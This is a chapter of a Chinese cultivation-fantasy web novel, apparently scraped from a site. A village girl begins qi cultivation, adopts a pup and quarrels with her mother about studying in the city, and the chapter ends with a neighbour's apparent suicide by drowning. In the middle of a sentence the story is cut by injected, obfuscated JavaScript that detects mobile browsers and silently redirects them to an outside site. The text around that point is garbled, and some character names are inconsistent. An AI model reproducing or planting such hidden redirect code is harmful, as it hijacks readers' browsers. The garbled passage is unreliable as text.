刚开春,四野渐绿,阳光亮亮的,却不多暖和。
小溪边的石头上,盘坐着一双髻小童,粗布麻衣,颈上带着个穿了绳的石头,身旁还窝着只黑色猫儿。只见她五心向天,坐得老神在在,稚嫩脸上神色认真。
春风微微拂过,嬴煦心念一凛,感到身体忽而进入了一种玄之又玄的状态,原本就平缓的呼吸更加轻浅,身体空灵,内府却从未有过的鲜明。
周身有股看不见的温和气流萦绕,经脉一暖,是那股气流在缓缓汇入。
嬴煦压下心中激动,放松身体,仔细感受着那股气流走过周身,最后汇入脐下一寸三分。
直至春风再次拂面,浑身放松下来,她猛地睁开眼,骨碌一下爬起来,龇着牙攥着拳头原地蹦了几蹦。
引气入体,她终于成功了!
道经读了几年,打坐就打了几年,从一开始神思不定,半途睡着,到如今能稳稳坐几个时辰,嬴煦吃了不少苦头。
好在功夫不负有心人,今天她终于正式入了道,可以开始修行了!
拾起摆在一旁的经书,嬴煦兴冲冲欲往家中方向去。这一弯腰才发现自己浑身异味,皮肤上满是黑色泥垢。
洗筋伐髓!
嬴煦眼睛一亮,心中盈满了快乐。抄着经书便拔腿朝家中狂奔。
猫儿也被她这动静弄醒,抬头打了个哈欠,迈着步子跟上她。
嬴煦这一跑,更是喜不自胜。浑身轻盈,筋骨舒畅,四肢充满了力量,连来时微微渗寒的春风似乎都温暖不少。
绕出丛林,跑上乡道,没几步便能见着自家屋顶炊烟,嬴煦却突然停了下来。
“咦?”
她附身朝旁边的矮丛里看去,“哪来的狗崽?”
于是,嬴晏看见女儿跑回来时,怀里多了个灰白皮毛的小狼崽。
“娘!姥姥!”
嬴煦奔进小院,嬴晏看着女儿脸上的脏污惊愕:“你这妮子!上哪野去了,泥地里捞了只狼崽回来?”
嬴煦一愣,连忙摇头:“不不,娘,这是狗崽吧?”胡乱拨拉了两下小狗的绒毛,又急急道:“娘!哎呀……我这不是泥,我引气入体了!”
狗崽发出声虚弱的叫唤,但无人在意。嬴晏怔在原地,许久,直到后院里做活的嬴劭也急急跑出来,两人才对视一眼,对着得意洋洋的嬴煦摇摇头笑出声。
嬴劭宽厚的大手拍了拍嬴煦的头,在她的傻笑声里道:“厉害呀阿煦!快去洗洗,瞧你这一身脏的!”
“哎!”嬴煦正是乐得找不着北的状态,闻言便朝后院冲去打水。
嬴晏接过狗崽,笑骂一声拿好衣服,注视着那抹雀跃的身影闪进后院,回过头来,确是看着地面久久不语。
“这是天意,也是命数啊。”嬴劭一叹,拍了拍女儿的肩膀,“八岁入道,便是在我那时,也很少见。以阿煦的天赋,是注定要走上这条路的。”
“娘,我知道……只是……”嬴晏心中喜悦与自豪不假,却也难掩忧色,“若是以前,倒也罢了,可如今……”
嬴劭也难得沉默了一瞬,随即长叹一口气:“阻止不了的事,就随他去吧。反正,以后怎样,谁能说准呢!”
两人不再多话,转而提着那虚弱的小狼崽研究起来。这小狼约莫几个月大,毛色是漂亮的黑白相间,只是蹭的浑身灰土,加之饿得厉害,所以虚弱不已。
“看面像狼,但这毛色却从未见过。”嬴劭年过半百,还是头一次见这样的狼崽。
“只看毛色,还真像狗,原先在北边见过不少人家,便是养着这般的黑白大狗。”
嬴晏皱皱眉,心里一时打不定这究竟是何。母女俩商量一番,打算过后去问问村里,有没有人家丢了狗崽。若没人要,阿煦想养的话,便养着吧。
那黑色猫儿则早早窝在篱笆上,静静注视着小院。半晌,大抵是觉得无聊,又自寻个地方睡了。
乡间岁时一晃过,夏秋悠悠溜走,小村看上去却也没什么变化。
嬴煦提着桶立在小河边,忽然脸上一喜,急忙大喊:“小狗,快咬!”
一只半大狗崽唰地扑向水中,下一秒,嘴里咬着一条鱼起身,甩甩水珠便蹭到嬴煦身边,黑色眼睛亮亮地看着小主人,两只前爪不住地原地踩,神似邀功。
“好!”嬴煦欢呼一声,连忙拿桶收了鱼,随即大笑。
她也不管水会湿衣,便整个抱住狗崽,一边天花乱坠地夸,一边欢喜地揉捏它。
一大一小两道身影笑闹着离去,余下几个小童艳羡地看着嬴煦的背影:“阿煦好厉害啊,那么重的桶也能单手拎动。”
“她家的狗也厉害,”一个还挂着鼻涕的小童脸上憧憬,“我家大黄都不能每下都抓到鱼呢。”
“那有什么好羡慕的?”一个也摸了不少鱼的女童神色不忿,“如果咱们也能入道,提个水桶不是简简单单!”
另几个小孩面面相觑,却也有那迟钝的接着道:“可我阿娘说,不是谁都能入道呢,而且阿煦八岁就入道了,以后肯定要去城里当仙师的。”
“哇~”一群小不点立时转了注意力,一边听着“城里”和“仙师”的故事,一边浮想联翩。
张小叶心中气闷,哼了一声便拎着桶离去。她家离河近,也是最常来捞鱼捉虾的一家。待她双手拎着桶走到家门口,却见几个官差模样的人正在院里,顿时脸色一白,愣在原地不动了。
张母和张父正陪着笑给官差交粮,那官差俱是不耐烦的样子,挥挥手只说不够。
一口袋接一口袋的粮灌进装粮的“仙器”。母亲脸上俱是僵硬的笑意,父亲也低着头不言。
张小叶站在门口的杏树后,想起顶着日头在地里收粮时脸上的热汗——滚烫、涩口,烧得她头晕脑胀,一路烧过她此刻的脸颊,落进脚下的土地里。
更远处的嬴家,嬴煦搬着个板凳坐在门口,有一下没一下地摸着黑猫。小狗依偎在她腿边上,俱是无声。
“娘!”
看到嬴晏送了官差回来,嬴煦嗖地窜起。嬴晏摆摆手,笑道:“不是要吃鱼?杵在这干什么,赶紧帮忙收拾!”
嬴晏张了张口,没说出话。跟着她娘去收拾鱼了。
狗崽咬过的挑出来,待会儿给它和猫儿加餐。其余较小的先留着,明天炖汤。大个的刮鳞去肚,嬴煦是做惯了的,手脚很快。
等到嬴劭从集上卖东西回来,烧好的鱼和炒蘑菇、拌芽菜已经摆上了桌。
猫儿爱吃鱼,便给它摆了鱼,狗崽不爱吃鱼,就给他了两块意思意思,其余给它的都是人吃的菜。
嬴煦极爱它,便每顿都给它分吃的。姥姥笑骂了一次便也不管,左右不差狗崽那一口。
日头正盛,祖孙仨在院里方桌坐好,权当不愉快的事没发生,高高兴兴地吃了一顿。
一直到晚间要睡时,嬴煦打坐结束,纠结许久,还是摸到了嬴晏身边。
“娘……”
“怎么了?”正是秋末,日头渐短,天已擦黑,嬴晏和嬴劭俱在点着灯做针线。
嬴煦视线从两双手上的老茧和伤口掠过:“娘,今儿来的官差有没有说起选学生的事?”
嬴晏手里的活儿停了停。
嬴煦咽了咽口水,小心翼翼道:“不是说往常,冬前就会放告示吗。今年什么时候开始呀。”
烛光昏黄,映
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420098|168995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出嬴晏半张年轻的侧脸。嬴劭也停了手里的活儿,侧目朝这边看来,握了握女儿垂下的手。
屋内一时寂静,只有烛火闪烁。嬴煦听见了自己的心跳声。
“阿煦,你真的想修道吗?”
嬴晏不带起伏的声音响起。
“我当然想!”嬴煦不假思索地答道。
“为什么?”
嬴煦抬眼,看到母亲晦暗不明的脸,心中涌起焦躁:“谁不想修道呢,我若能快点开始修行,说不准能拜进城主孙家,孙家有筑基前辈讲道,说不定有朝一日,我也能……”
“然后呢。”嬴晏少见地打断了她的话,语气近乎咄咄逼人。
“然后?然后……就能搬进城里住……”
“你就这么不想留在家里?”嬴晏的语调几乎有些尖锐。嬴煦顿时愣住,未说出的“把你和姥姥接进城里”卡在喉间,顿时一股热意涌上头脸。
“我当然不想!”她大喊出声——
“我不想住在乡里,我不想种地也不想做针线,不想年年拿一半积蓄交公,我不想看官差的脸色过日子!”
眼泪大颗大颗往下掉,姥姥伸手来拉她,被她激动地甩开:“我明明很早就能入道,我天赋不比城里道童差!为什么我不能去?”
嬴晏脸色苍白,神情有些恍惚,嬴劭正搂着她的肩膀不住安慰。
嬴煦喊完,却也呆立住,脸上热意蒸腾,心中又惧又愤。出了郁气,却又升起悔意,最终袖子抹抹脸,跑出了堂屋。
狗崽听到动静,正在院里急得打转,此刻猛地冲上来,扑进嬴煦怀里使劲蹭她,一边嘤嘤叫唤,一边舐去嬴煦脸上的泪。
嬴煦的泪却止不住,抱着狗崽走进柴房,掩了门坐在地上不动。
她可不傻,早早就察觉娘不想她去进学。
转眼过去大半年了,若是城里的道童,天赋好的,此刻怕是已经练气一层。而她明明早早入道,却因没有功法,直至没能修练,体内半点灵力也无。
她想起官差们手里的法器,想起玩伴们提起的仙师。一时想娘可能是怕她辛苦,一时又觉得娘不可理喻。
乡里人人都想进城、都巴望着孩子能入道,能得了家的眼,去城里进学。
有朝一日能筑基成功,便能举家搬进城内。城里有金丹修士庇护,筑基修士家家有马车美宅。不但不用缴乡里人每年的岁供,只要为家族做事,还有灵石功法酬劳。
修行当然辛苦,可这点辛苦算什么?难道比日日埋头黄土、借灯穿线、熬昏了头看瞎了眼来的苦吗?
嬴煦抱着狗崽流着泪,不知不觉睡去。
月亮高挂时,嬴晏推开柴房的门,抱起女儿回屋,给她掖好被子。
嬴劭拿手绢为她拭去脸上的泪。嬴晏靠在母亲怀中,听着那宽广胸口里沉稳的心跳,想起很久很久前,自己离开家的日子。
少时心骄气傲。总觉得修行之路必有她一席之地。待真正踏上坎途,一步一血泪,半生过去一场空。
猫儿在屋顶上直直看着月亮,狗崽窝进嬴煦给做的石头窝,伸着脖子时时朝堂屋里望。
河边张家的屋里,女人的哭声压抑,张小叶站在门口的阴影里一动不动,母亲问起她修练近况的话语一遍遍在耳畔回响,和此刻压抑的哭声交织融合,让她恐惧,又对自己愤恨。
一个干瘦的人影晃出院门,朝河边走去。张小兰怔怔地看着,许久之后,挪着发麻的腿跟上。
深秋的河岸已经有些萧瑟,枯瘦月光照不清浑浊的地。明明暗暗中,张小兰呆呆地出声:“爹……”
“扑通——”
那桥上瘦影一动,坠入冰冷的水中。